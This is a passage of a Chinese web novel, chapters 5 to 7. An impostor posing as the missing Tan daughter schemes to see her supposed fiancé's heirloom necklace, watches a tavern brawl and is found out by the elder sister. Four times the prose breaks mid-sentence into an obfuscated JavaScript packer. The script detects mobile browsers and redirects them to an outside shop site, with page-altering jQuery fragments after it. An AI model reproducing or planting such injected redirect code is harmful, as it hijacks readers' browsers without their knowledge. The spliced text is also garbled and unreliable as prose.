李夫人笑了一下,细声道:“你瞧瞧,都三十了,还让我们操心,每天也不知道在做些什么,让他读书连个秀才都考不上,让他做生意又赔了不少铺子,让娶亲又东挑西拣谁也瞧不上。我是不知该拿他怎么是好了。” 说完李夫人叹了一口气。 吃完饭后,曲屏便又跟着小彤回到了沉香院。 到了睡前,曲屏还是没有看到檀香,便问小彤:“檀香呢?怎么一直不见她人影。” “小姐,檀香姐姐说身体不大舒服,回家休息几天。” 见小彤眼神游离,曲屏便知这只是檀香不想见到她找的借口而已。 她自然没什么想法,毕竟她本来就是个冒牌的。 “二小姐,您如今回来,方大人又一直未成婚,想必不日便会来下聘礼呢。”说到这个,小彤眼里放光。 “小彤,你见过那方大人吗?他长啥样啊?” 曲屏对谈郁李这未婚夫有些好奇。 这位方大人名弥谨,高中状元之后拜当朝太傅张正德为师,待他及冠还为他取了字。 小彤挠挠头,道:“奴婢虽来谈宅五年,可从未见过方大人,不过老爷他们常与方大人有书信往来,您今日回来的事儿,想必老爷已经给方大人写了信了。” “方大人这些年从未来过谈宅,不过小姐,听说六年前谈家不知犯了什么事,被判男丁流放,女的为奴为婢。后来还是方大人在殿前求情,再加之圣上看重大姑爷,重新彻查了那个案子,查了两个月才洗清谈家的冤屈,谈家这才得以保全。” “灼少爷也正是因为这事被革职了,之后都没能复职,灼少爷便去南山书院当夫子了。”小彤说到这里,颇为惋惜。 谈羽灼? “他还当过官?”看他那样子就感觉应该有些古板,要是当官那不得吃不少暗亏? “那当然了,灼少爷同他祖父一样,考中举人之后便当了县令,只是被那件事牵连入狱,差点丢了性命。” 原来竟是这样,不过这样的结果对于谈羽灼来说,未尝不是一件好事。 曲屏拿着包袱,打开衣柜,却看到满柜子的衣服。 颜色十分鲜艳,她伸手一摸,料子极好,且没有一丝灰尘。 “这都是……我以前的衣服?”说着曲屏便将一件鲜红的襦裙拿了出来,放在身前比了比。 “应该是的吧,这屋子是您的闺房,除了您没人住过。” 过了这么多年,竟然还能保存的这么完好。 没想到谈郁李虽然身体不好,喜好倒并不是如她猜想的那样,喜爱素色衣物。 “不过奴婢猜想您之前穿这些衣服一定十分好看。” 小彤都没见过谈郁李,听到这话,曲屏只当她是在拍马屁。 “哦?你之前又没见过我,这从何说起?” “奴婢幼时便听闻楚夫人长得极美,一舞动京城——”说到这里,小彤忙止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648619|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住话头。 曲屏见她神色犹豫,道:“直说便是,我又不记得这些了,说错了我也不会怪你的。” “奴婢听闻楚夫人原是乐坊的舞女,大老爷有次去那儿听曲儿,被舞姿所倾倒,便将楚夫人高价赎了回来。” 原来如此。 “那她现在去了哪里?我方才怎么没有见到她?” 谈观在谈郁李失踪后半年病死了,那楚夫人呢? “楚夫人在您八岁那年就离开谈宅回娘家了,直到大老爷病逝都没有再回来过。这原是宅中的禁忌,大老爷不许下人议论这些的,大老爷病逝后,没了禁制他们便又说了起来。我也是之前去花房搬花的时候听那几个花匠说的,八成是楚夫人那时与大老爷吵架冷了心,不愿再回来了。” “她……我娘她不是舞女吗?哪来的娘家?”这说辞有些奇怪。 据她所知,这个时代的乐坊女子基本都是孤女出身。 小彤摇头,道:“这我就不知道了,不过檀香姐姐应该都知道这些。” 曲屏点了点头,不再继续问。 也不知她们母女俩关系如何,既然二十几年都没有回来过,那兴许同谈郁李一样,是困住了或遭了意外,不愿回来的几率几近于无。 打听了谈家这么多事情,曲屏一时有些疲倦,吹了灯躺在床上仍在想。 “若是谈郁李真死在外面了……” 想到这里,她顿时整个人都清醒了,彻底没了睡意,越想越睡不着。 迷迷糊糊,天光泛白才将将入睡。 * 曲屏在谈家待了五六天都没见方弥谨来,一日没见着他,便少一日的机会接触到那宝石项链。 而这谈家她虽待得顺心又不愁吃穿,可言行总归有些拘束。 她心中烦闷便带着小彤出门去了街上。 这几天每天晚上被小彤摁着保养了一番,她如今皮肤虽然没有变白多少,好歹没有像之前那样糙得起皮了。 见曲屏搓了搓脸颊,小彤邀功似的说道:“小姐,我就说这香膏有用的吧,您现在看着气色好多了,咱们今日去买一些药材,我回来调制。” “那喷香的东西是你调的?你居然这么厉害?”她原先还以为是小彤在外面买的呢。 一股淡淡的药香味中掺杂着丝丝花香,还挺好闻的。 “小姐过奖了。”虽这样说,小彤脸上却是挂满了笑容,很是得意。 “我这都是跟我娘学的,她调的效果更好,我学不来。” 说着她们便去药铺买了几包草药,出来看到一家首饰铺子。 小彤问道:“小姐,你要不要进去买些首饰,京城最近时兴流苏样式的步摇呢。” 曲屏对这些没什么兴趣,道:“我看那抽屉还有很多呢,我们还是去吃点东西吧。” 昨日李夫人给了她不少银子,是以,她让小彤带路,直奔附近最大的那家酒楼。 5. 第 5 章 还没走到,曲屏就被一间茶楼吸引了。 无他,只是那间茶楼正好在说书,讲的主人公仍是谈郁李和方弥谨。 “失踪十年,就在前几日,这谈家小姐居然回来了……” 底下传来些许讨论声。 “我也听说谈三爷过几日要办宴席呢!” 什么宴席?居然还有这事儿?她怎么毫不知情? 小彤低声解释:“小姐,这是真的,李夫人今日早上才吩咐了,说要大摆宴席庆祝你回来呢!” 曲屏点头。 “不是说这谈小姐被仇家抓去喂了药,不单相貌体格,就连声音都变得跟以前完全不一样了。” “你以前见过谈小姐?” “她从小身子骨就差,养在深闺,我哪能瞧见?” “还以为你见过呢,我可是听说这谈小姐十年过去,一点变化都没有,看着还是十几岁的样子呢!” 说到最后,这二人便你一句我一句的吵了起来。 一个说完全不一样,一个说毫无变化。 二楼隔间,一个面容冷峻的男子品了一口茶,抬眼看向身旁之人:“慎之,这事你怎么看?” 方弥谨摇头,“几天前谈广白给我送来了一封信,字里行间都在暗示婚约一事。” “这还用说?还不是看到二哥刚升了官,就不知从哪儿找来个冒牌货,想着沾点好处!” 说这话的人是个年轻男子,看着只有二十出头,一双凤眼微睁,神色倨傲。 他正是当今太傅张正德的幼子张向安,另一人便是他胞兄张向松。 张向安指着说书先生嘁了一声,道:“不过几日,各处酒楼茶馆都是关于这谈小姐的话本,谈家这是花了不少银钱吧?只是他们之前找的赝品好歹还有些相似之处,如今这个我可听说与谈姐姐毫不相干。谈家这些年也是狗急跳墙了,与羿家攀上亲事还不算,还要赖上二哥了。” 张向松一针见血地说道:“谈家这次是想彻底缠上你,即便是毫不相干的两个人,他们全家死咬着不放,硬说是谈小姐,慎之也不能打他们的脸。” “我真的是受够了这一家子,当初若不是二哥四处奔走,他们早被磨死在苦寒之地了。这么多年不说报答,还总巴着婚约一事不放,要我说,二哥你直接将婚约作罢,然后大肆宣扬一番,我看谈家还怎么嚣张?”越说张向安就越气愤。 方弥谨轻声道:“婚约不能解除,若真是她,她定会来找我的。” 闻言,身后二人对视了一眼。 张向安劝解道:“二哥,你不能吊死在一棵树上,天涯何处无芳草呀。谈姐姐虽然好,可这世上好姑娘多的是,她失踪了这么多年,如何还能再回来?” 方弥谨倏地回头,皱着眉头说道:“张向安,慎言。” “我……” 张向安欲言又止,最后说了一句,“我又不是咒她,我也是不想你一直陷在里边,成日这副死人模样!” 说完他就直接推开方弥谨,从半开的窗户跳了下去。 张向松反应过来,低声呢喃:“这狗嘴……也不知这次跑出去会不会惹出祸事来。” * 两人有来有往,据理力争,曲屏抱胸倚在门口,正在兴头上,就听到“哒”的一声,转身就见一旁的空地上半蹲着一个锦衣男子。 这人……是从楼上跳下来的? 张向安站直了,余光瞥见一个黄衣女子直愣愣地看着他,本来心情不好正愁没由头撒气,便偏头去瞪了她一眼,吼道:“你看什么看!” 曲屏挑眉道:“自然是看天降美男。” 这话倒不假,这人看着确实漂亮,有种女孩的秀美,可又能叫人一眼认出是个男子。 那两人被他吼的那一声吓住,停止争论,反而走出来看,正巧听到曲屏这话。 张向安被这话惊住,看到探头探脑的二人,脸“唰”地就红了一片。 一时又觉得丢了面子,便骂道:“你!你这人不知羞耻!” “我这是夸你,你咋还不高兴?” 张向安不知怎么回答,瞪了她两眼之后扭头就跑了。 说书的开始讲她之前听过一遍的事儿,曲屏颇感无趣,便拉着小彤走下了台阶。 “走,我们就去那个醉仙楼好好吃一顿。” “小姐,就我们两个吗?”小彤怯声道。 “那是自然,正好尝尝厨艺比谈家的厨子如何。”曲屏见小彤神思不属,又说道:“你别想刚刚那些人说的话了,方慎之定然早知道我回来了,若他对……你家小姐还有情,自然会主动来谈宅的。” 曲屏虽然想戴一下那项链,可也知道心急吃不了热豆腐。 到了醉仙楼,曲屏如上次那样仰头看着高楼上的牌匾,这次仍是篆书,可因着早就知道名字的缘故,倒是全认了出来。 “果然不愧是京城最大的酒楼,上次那个跟这个根本就没法比。” 单看建筑材料与设计装潢都差得不是一星半点。 曲屏过惯了苦日子,如今的生活倒是好得像是梦境一般,叫她有些不想离开谈家了。 过这样不缺钱的日子有什么不好的,难道要向以前一样怕被人认出四处辗转才好吗? 他们常说她虚伪、自私又贪婪,她自知自己不算什么好人,也从没想到居然能捡这样一个大便宜。 人一有良心就过不舒坦了。 她在心中劝说自己。 像上次那样,若不是她因着愧疚留了下来,何至于待贵人一死就被他父母赶了出来? 她原以为过了几月的富贵日子,便会视钱财如粪土,可如今再次享受到钱财的好处,她又动摇了。 曲屏问道:“小彤,你识字吗?” “认得一些简单的,儿时跟着哥哥上过两年学。” “也是南山书院吗?” “奴婢哪能进南山书院,南山书院极其讲究身份,每年花的银钱也不少呢。奴婢那时都是在私塾外面听的,不能进去,后来家里添了个弟弟,爹娘就将我卖给了人牙子,这才到了谈家。” 闻言,曲屏低声询问:“他们这样对你,那你怎么每月的月银还全托人稍回去?” “大家都说‘身体发肤受之父母’嘛,”说到这里,小彤有点害羞,“他们毕竟是我的父母,那时也实在是家里穷,不卖我就养活不了弟弟了。” 曲屏垂眉一笑,不再说话,而是拉着她走入里间。 “小二,还有厢房吗?” “还有的,姑娘您要哪间。” “一间窗户靠街的上等厢房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648620|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来几样招牌菜,再叫个美人儿来弹曲儿。”既然是来享受的,自然不能亏待自己。 “好嘞!” 跟着小二上楼,进了厢房,里面果真别有洞天。 雕花木桌与一旁的矮榻隔得远,中间还立着一块屏风,白绢上绣了一幅山水画,坐在椅子上看得身临其境,走进了抚摸也难忍惊叹绣工卓绝。 竟还是双面绣? 这样的屏风曲屏还是头一次见。 整个屏风蜿蜒摆放,将这间宽敞的房间隔成两间,只消一眼,便被这幅巨大的山水画所倾倒。 菜上齐了,曲屏又要了几壶酒。 “小姐,你怎么还叫上酒了,要是喝醉了可怎么是好?” “小彤你放心,我酒量很好的。” 不多时,就进来了一个抱着琵琶的年轻女子。 女子身上穿着浅绿色的拖地长裙,衣服薄如蝉翼看着很是顺滑,却丝毫不显轻浮。 她抱着琵琶微微福身,道:“姑娘要听什么曲子?” 声音轻柔甜糯,曲屏一听心都软了,她笑眯眯地说道:“我不懂这些,你想谈什么就弹什么吧。” 琵琶女点了点头,抱着琵琶走至屏风后的矮榻坐下。 琵琶声响起,曲屏一把将小彤拉到一旁坐下,“拘束什么,就咱们两个人吃,难不成还要站着吃不成?” “这样的日子才是人过的嘛!舒服~”曲屏叹了一声,嘟囔道:“我以前过得那叫什么狗日子啊。” 一曲罢,曲屏也喝了半壶酒,小彤只抿了一口就被呛得直咳嗽。 曲屏乐得哈哈笑,她拍了拍小彤单薄的背,问琵琶女:“美人儿,你叫什么名字?” 琵琶女止住正欲拨弦的手指,道:“奴家书翠。” “书翠?这名字可真好听。”曲屏起身走至屏风后,低头道:“我叫曲屏,我很喜欢你。” 纪书翠一惊,愣愣地看着她,早忘记弹到哪个音了。 小彤走了过来,问道:“小姐,你是不是喝醉了,这酒出了名的烈,后劲也大得很。” 曲屏摇头,安抚道:“小彤,我没有醉,真的,才半壶酒怎么可能会醉。” “我只是很久没有见到这么漂亮的人了,比昨日见到的四嫂还好看,要是我也这么好看就好了。” 曲屏刚说完,隔壁便传来“砰”的一声,紧接着乒乒乓乓一阵乱响。 “你这人管那么多作甚?你可知我爹是谁?” “你可知我爹是谁……” 是两道男声,第二个语调颇为奇怪,听着像是故意阴阳怪气的模仿他。 “可恶!可恶!” 这声音倒是有些耳熟,好像是方才那个男子。 “我管你爹是谁,照打不误!” 曲屏猜出是那人,便幸灾乐祸地笑了起来,将房间里侧的窗户悄悄打开一条缝。 果真是之前那人。 张向安发型凌乱,衣领歪斜,正握着拳头瞪着他眼前之人。 曲屏顺着他的视线看过去,男子身着黄白布衣,看着颇为气定神闲。 如今天气虽热,可厢房放置了很多冰块,倒是凉快,男子仍旧摇着手中折扇。 曲屏看着扇子上格外显眼的四个大字,哼笑一声,心道:原来是这人。 6. 第 6 章 张向安骂又骂不赢,冲过去打人,牧训轻功极好,一下子就蹿到了房梁上。 等他追上来了,牧训又施然落地,打开折扇笑道:“原来你便是张太傅那个长得跟女娃一样漂亮的小儿子呀,我今儿可算见着了。” 牧训不知师承何人,曲屏围观了这一场,心道:身轻如燕,便是周老头的轻功也未必能像他这样。 张向安听到这话更气了,他因为生得漂亮,缺少阳刚之气,自小就常被认成是女孩子。 幼时跟着张向松进过一次皇宫,那时还被华阳公主搂着好一番亲近,嘴里嚷着“好漂亮的姐姐”。 若是旁人兴许会受宠若惊,可张向安素来自傲,这乌龙像刺一样一直扎在他心里。 自那之后他便跟着张向松一同习武,可根骨终究不同,至如今不管轻功还是其他都并无出色之处。 “……狗贼休得胡言!” 看来真的是气极了。 张向安双眼通红,吼完这句之后,就捂着肚子气喘吁吁。 看着倒是比平常更加漂亮了。 往常出门他一个人都会带上好几个侍卫,今日也是没有料想到会同方弥谨发生口角而孤身离开。 这才受了眼下这气。 他越想越气,可也心知自己如今对付不了这人,待呼吸平缓,便假意说道:“今日是我输了,在下张向安,敢问兄台贵姓?” 牧训嘿嘿笑了两声,道:“行不更名坐不改姓,贵姓倪,尊名跌。” 说完他就大摇大摆地走了出去,徒留张向安站在原地气得浑身发抖。 店小二站在外面不敢进来,见着满地狼藉,他又笑着躬着身子走了进去,“张二公子,这,这……” 张向安一把将他推开,道:“算好银子,去我家找管家拿。” “好嘞好嘞!”店小二面上笑容真切了几分。 好在张二公子虽然蛮横,可并非毫不讲理之人,砸坏了东西,再怎么心情不好也会赔偿,若是京城其他公子哥他是断然不敢这时候凑到跟前去的。 “等等!你过来。” 店小二一僵,又转身退了回去。 “刚刚那人是谁?叫什么名字,你可知道?” 牧训早出了醉仙楼没了踪迹。 “小的方才没细看。” 店小二有苦难言,这张二公子不知怎么就跟人打了起来,偏这人张二公子还不认识。 他悄声道:“张二公子,方才那人不是说了他的名字吗?好像是说叫倪跌来着。” 他耳朵灵,倒是听到了牧训这话。 “你!你是猪吗?我是倪跌!”张向安猛地敲了一下他的脑壳。 店小二这才反应过来,摸了摸脑门讷讷不语。 张向安解释道:“这间才是他的厢房,我适才喝了点酒走错了,因而与他吵了起来。” 店小二回想了一下,说道:“张二公子,小的想起来了,订这间厢房的人名唤牧训,年方十七。牧公子是咱们这儿的常客,他每个月都会来这儿吃一顿,听听曲儿。” 牧训?倒是没听过这名字,京城中也没有听说什么姓牧的大官呀? 张向安低声嘱咐道:“下次这人来了,你去我家知会我一声。” “好嘞好嘞!” “他往常来这儿都是一个人?” 店小二点头,道:“牧公子一直都是一个人,来这儿之后还会让我们去那边的南风馆找两个清倌来唱曲儿。” 张向安一惊,“……他是断袖?” 店小二摇头,“这小的不知。” 话音刚落,另一个店小二就引着两个长相清秀的少年走了过来。 那个年纪小一点的店小二看着满地的碎盘子,惊呼道:“这是怎么了?牧公子人呢?” 张向安看着他身后那两个身形瘦弱的少年,脸色铁青地说道:“岂有此理!竟敢如此羞辱我!” 说罢,他便甩袖走了,徒留几人面面相觑。 曲屏看了这一场闹剧,倒也猜出了个七七.八八。 牧训这人不简单。 这自称张向安的人好歹是太傅之子,他却丝毫不畏惧,反而……曲屏猜测应该是张向安走错厢房,又因为长得过于漂亮而被牧训当成了店小二叫来唱曲的小倌儿,他们这才打了起来。 看完热闹,曲屏又坐回去喝酒。 自她说过那些话之后,纪书翠就有些不自在,见曲屏被方才那事搅得没再继续那个话题,弹了几首之后便匆忙道别。 * 曲屏又在谈宅住了十来天,可仍旧没能见到方弥谨。 她心中有些急切,“要不我直接去找他,同他说我想看看他那传家宝,顺便带个两天,之后再还给他?” 刚说完她就打了下嘴巴。 这虽然是她真实的想法,可未免也太蹩脚了些。 方弥谨是朝廷官员,如果当场拆穿她,非但不给她看项链,反而派人将她抓入牢房可怎么办? 正烦着,谈羽复又来找茬了。 曲屏这些日子在谈家什么都好,就是这谈羽复每日都来找她,看着实在是太烦。 这人跟疯子一样,行事毫无顾忌,听小彤说从前他每日都要出门玩,有时夜半才回家。 自她来谈家之后,他便不怎么出门了,而是日日清晨拉着他在谈家到处跑。 她赖在床上,这人居然不顾男大女防直接跑进闺房将她从被窝里拖出来。 如果谈羽复这些行为的目的是为了折磨她,那么他成功了。 “复少爷,小姐还在休息。” “方弥谨都不要她了,她还天天只想着睡觉?” “复少爷,小姐昨日被您扰得晚饭都没吃就睡了。” “真的啊?”谈羽复语带笑意。 曲屏从来没见过像谈羽复这样的神经病,快三十岁的人了,比青春期的初中生还难缠。 她本来就被那宝石项链烦忧得很早就醒了,这谈宅根本就没人管得了他,她索性下了床,披了件外衣就走了出去。 见门口放了一个扫帚,应该是小怡洒扫院子时忘记拿走了。 曲屏神清目明,操.起扫帚就往谈羽复身上打去。 谈羽复正跟小彤闲聊着,突然屁.股一阵闷痛,他扭头便看到举着扫帚的曲屏。 “谈郁李你居然又打我?你疯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648621|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你?!” 谈羽复不可置信地看着曲屏,“你看看我脸上的疤,被你伤成这样,你现在不记得了,还好意思打我!” 曲屏没有管他,又抡圆了手臂朝他胳膊打去。 他忙后退几步避开,吼道:“你有本事朝我脸上打,看我怎么整死你!” 曲屏追着打。 小彤制止她,“小姐,你还是不要这样……” 曲屏咬牙切齿地说道:“谈羽复,你这些天欺人太甚,你是见我才回来以为我不敢惹你是吧?” 听到这话,谈羽复冷笑道:“你也不看看如今是谁掌家?谈家早不是当初那个谈家了,你真当小叔他们这么疼你呀?若不是你踩了狗屎运当初跟方弥谨订了婚约,你如今就是死了都没人会给你收尸!” “你看四哥他现在还搭理你吗?还不是大伯一死就没人去找你了!现在得罪了我,有你好果子吃的!” 这些曲屏早就看出来了,她又不是真的谈郁李,自然不会感到难过,也没有反驳,只是抓紧扫帚又抽了他一下。 偏房的檀香听到这话走了出来,朗声道:“复少爷慎言,二小姐毕竟是你堂姐,你这话若是落到外人耳边,以为咱们谈家尽是你口中落井下石、忘恩负义之人,那可不止是败了二小姐的名声,对谈家也无甚好处。” 见到檀香,谈羽复将要说的狠话吞了回去。 曲屏哼了一声,跨步跑过去接着打。 “我倒要看看得罪了你,我能吃上什么好果子。” 谈羽复不会武功,曲屏轻功不错,这些年学了不少逃命的本事,她追着打,谈羽复自然躲不过。 “嗷!我的天,谈郁李你居然打这么重!你是想让我死是不是!” “砰!” “谈郁李你真的疯了!你个疯子!你之前从来不会打我打这么重!”说到这里谈羽复还有些委屈。 “砰!” “你现在身体好了有力气打我了是吧!谈郁李你从哪儿学的轻功?” “砰!” 谈羽复被打得满院子乱蹿,院子里的四个丫鬟又不敢拦曲屏。 之后实在躲不过,便跑出了院子,临到门口,还扭头喊道:“谈郁李,你给我等着!” 吼完这一嗓子,他怕曲屏追过来,忙头也不回地跑了。 曲屏嘁道:“看着这么瘦,没想到还挺能跑。” 围观了这一切,小彤走过来拿过扫帚,愁道:“小姐,要是复少爷去找李夫人了怎么办?” “他都二十好几的人了,别人家像他这个年纪的孩子都能打酱油了吧?要是他真去告状那也没什么好说的。” 其实李夫人毕竟只是谈郁李的婶婶,她也不好说什么的。 谈羽复有一点说得倒没错,如今谈家大不如前了,京城关于“谈小姐回来了”的消息传得沸沸扬扬,可方弥谨一点回应也没有。 只要方弥谨一日没有取消婚约,他们便不会将她怎么样。 曲屏看向门口,檀香早已没了身影。 她倒是没有料到檀香会帮她说话。 曲屏低声问道:“小彤,你知道檀香以前跟……我是怎么相处的吗?” 7. 第 7 章 小彤摇了摇头,想了一下道:“听小怡说檀香姐姐是您及笄那年从外面带回来的,没有签卖身契,不算作丫鬟的。” “及笄?那是十五岁吧?” 小彤点了点头。 曲屏说道:“我看檀香年纪也不大的样子,她有二十了吗?” “这个我倒是不知,该是有二十四五了吧?不过听说您当年带她进谈宅的时候她才十一二岁呢,这样算来该是二十四五的年岁。” “檀香姐姐性子傲,说话直接,因着与您一直以姐妹相称的缘故,谈家便是复少爷也是会给她几分薄面的。” 闻言,曲屏纳罕道:“还有这事儿?” 小彤点头道:“那是自然。” 难怪檀香丝毫不将她放在眼里,全然一副小姐作态,谈家人也没觉得奇怪。 曲屏本不欲过于伪装,她只是谎称自己是谈郁李,可从来没有想要照着谈郁李的性格为人处世。 被拆穿也是意料之中。 待见到那宝石项链了她再离开便是,也无需顾忌其他人的想法。 “今日谈羽复怎么过来这么早?”往日也是清晨来搅她,今日却更早一些。 这神经病是不需要睡觉的吗? 听小彤之前说他失眠得厉害,还请过大夫调理,可一直没什么起效。 “应该是因为大小姐今日会回来吧。”小彤猜测道。 大小姐?谈观的大女儿? “她……她与我关系如何?”曲屏犹豫道。 谈观只有两个女儿,大女儿谈郁金是第一任妻子朱氏所生,朱氏生下女儿身体亏损,不过半年就撒手人寰。 谈郁李失踪那年十九岁,如今当是二十九了,而谈郁金只比她大一岁。 “自是极好的,大小姐性格好,宅中上上下下都很喜欢她。”小彤提起谈郁金脸上都不禁挂起笑容来。 她只三年前见过谈郁金一次,却是将她的好铭记于心。 曲屏笑道:“笑成这样,你见过她?” 小彤点头,道:“三年前奴婢在李夫人身边伺候,不小心打碎了复少爷从外间买回来的花瓶,我便是一年的月银也赔不起,大小姐刚巧回来拿些东西,见着了就替奴婢赔了。” “她好歹也是谈羽复的堂姐吧,谈羽复真收了那钱啊?” 曲屏还以为像谈家这样不差钱的大户人家,犯了错便是打骂责罚,没成想竟是照价赔偿。 小彤解释道:“那倒没有。” 曲屏刚说道“意料之中”,就又听小彤补充道:“只是复少爷向大小姐讨要了她房中的一幅字画,大小姐二话不说就叫人送去复少爷院中了。” 这倒是神奇。 小怡将院子扫了一遍,听到谈郁金的名字,放下扫帚便快步走了过来。 听到这里,她会心一笑,道:“这个奴婢也知道,大小姐一直念着小姐您呢,她上次回来还夸我眼睛好看呢。” 小怡的眼睛确实生得不错,忽闪忽闪的,给整张寡淡的脸增色不少。 到了午间,曲屏才见到谈郁李的这位姐姐。 那时她敞开院门坐在树下乘凉,檀香照常不知去了何处,只小彤坐在一旁吃西瓜。 曲屏武功虽不怎么高,耳力却很不错,迷迷糊糊中听见些许脚步声,她缓缓睁开了眼睛。 只见迎面走来一个高挑纤瘦的女子,五官清秀,通身气度不凡,身着一身浅蓝色薄衫,神色从容。 曲屏猜出这位就是谈家大小姐谈郁金,便坐直了身子。 小彤听到动静转头看去,见是谈郁金,她忙放下手上的西瓜,起身行礼,“大小姐。” 谈郁金微微一笑,道:“你是小彤吧?我记得你。” 小彤闻言,连连点头,脸颊激动得泛红。 “小彤,我与郁李多年未见了,说会儿话。”谈郁金的声音温柔浅淡,听着十分舒服。 待小彤退到远处之后,谈郁金在曲屏旁边坐了下来。 她含笑打量着曲屏,良久才说道:“你同我想象中的很不一样。” 曲屏顺着她的话说道:“我不记得从前的事了。” 谈郁金道:“我听三婶说了,郁李这么多年,你受了不少苦吧?” 曲屏尴尬一笑,摸着脖子嗯了一声。 她确实吃过不少苦,可与她当日胡诌的苦没有分毫干系。 谈郁金这人倒是出乎她意料的温柔,曲屏从没见过这样式的人,她有些不适,觉着这人虚伪。 小彤很明显极其喜爱谈郁金,那她口中说的“极好”便有待商榷了。 曲屏东摸摸西摸摸,又从桌上拿了块西瓜大口的吃起来。 谈郁金轻柔一笑,道:“现在也挺好的,你以前身体不好,便是这些瓜果多吃两口,晚上就难受得睡不着觉。” 曲屏顿了顿,含糊道:“呃,这也是我……因祸得福吧,被喂了好些乱七八糟的东西,现在身体跟常人没什么不同。” 甚至比寻常人还好上几分。 曲屏手上沾着汁水,黏糊糊的。 她寻不着帕子,看了眼身上浅灰色的衣袖,正要悄悄擦拭,谈郁金便递了一块手帕过来。 曲屏抬头看去,谈郁金虽已三十,看着却好似二十出头,她的五官没有多精致,但胜在皮肤白皙,神情温和,很是耐看。 曲屏接过手帕将汁水擦干,问道:“你……我该叫你姐姐吗?” 谈郁金莞尔一笑,“你可以这样叫我。” “……姐姐,这次回来是为了什么?” “我是特意来见你的,早半月前我就听说你回来了,一直不大相信。三叔又说要办酒席,所以我提前过来见你,等办了酒席过后再回去。” 谈郁金直视着她,她的眼中黑白分明,眼神却是柔和得叫人不忍欺骗。 曲屏一时有些愧疚,没头没脑地说道:“我其实来谈家是为了一样东西,见到了就会离开这儿。” 说完曲屏反应过来自己说了什么,很是气愤羞恼。 她别过头去,暗道:这人果真不容小觑。 她虽然是这样想的,可也没想直接跟人说出来。 谈郁金没什么反应,显然早就料到了,她轻声问道:“你叫什么名字?” 曲屏咽了下口水,还是如实道:“我叫曲屏。” 她心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648622|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这也没什么好隐瞒的,如今整个谈家都认定了她就是失踪回归的谈郁李,即便谈郁金当众拆穿她,她也可以给自己找补。 信她的人自会信她的说辞。 “我叫谈郁金。” 曲屏没好气地回道:“我知道,郁金香嘛。” 她现在不大想跟谈郁金说话了,她觉得谈郁金前面的那些话全是在忽悠她,而她自己却傻乎乎地承认了。 还告诉了她自己的名字。 虽然这个名字她才刚用不到一个月。 谈郁金看出曲屏赶客的意思,她自顾自地说道:“你大可留在谈家,曲姑娘。我看你年纪还小,还不到双十吧?” 曲屏疑惑道:“是还没到,我今年应该是十七了。” 她刚穿来的时候,原身就病死了,她没有原身的记忆,只猜测她应是病重又逢灾年,便被放弃了。 原身身形瘦弱,看着只有六七岁的样子,但后来周老爹带她看了大夫,大夫说是有八九岁了。 谈郁金苦笑道:“十年前的郁李还比你大两岁呢,她身体不好,大夫本就说她活不过二十,我本以为她能撑过去,没成想竟失踪了。她那样的身子骨,便是在谈家吃着调制的各种奇药都难受得很,离了谈家又能撑多久呢?” “我早知道她不会再回来了,可听三婶信中说得确切,我又想来见一见,想着也许她能像话本中的人那样有些奇遇,如今见了曲姑娘,我便是彻底死心了。” 曲屏听到这样一番话,心中不是滋味,她岔开话题,道:“我跟她难道就没有丝毫相似之处吗?” 谈郁金摇了摇头,道:“也是有些相似的,她脾性跟檀香合得来,只是你是你,她是她,终究是不一样的。” “曲姑娘喜欢方大人吗?” “我都没见过他。”顿了顿,曲屏索性破罐子破摔,又道:“我跟你说实话吧,其实我正好是为了他家的那个传家宝而来。” “传家宝?”谈郁金疑惑地动了下眉头。 “就是那个宝石项链,我听说那东西珍贵得很,就想着看看是什么样子。可他们说传家宝不会轻易给人看,我就干脆来谈家碰碰运气了,没想到我随口胡诌了几句,他们就全信了我是谈郁李了。” 谈郁金眉头微蹙,思量了片刻,道:“郁李其实跟叔叔婶婶的关系很好,她失踪十年,三叔他们也只愿相信她还会完好无损的回来。郁李及笄那年,来了个披头散发、满脸胡须辨不清真容的男子,武功高强,自称是楚夫人的弟弟。若她真是被这奇人带走了,倒也是有可能的。” 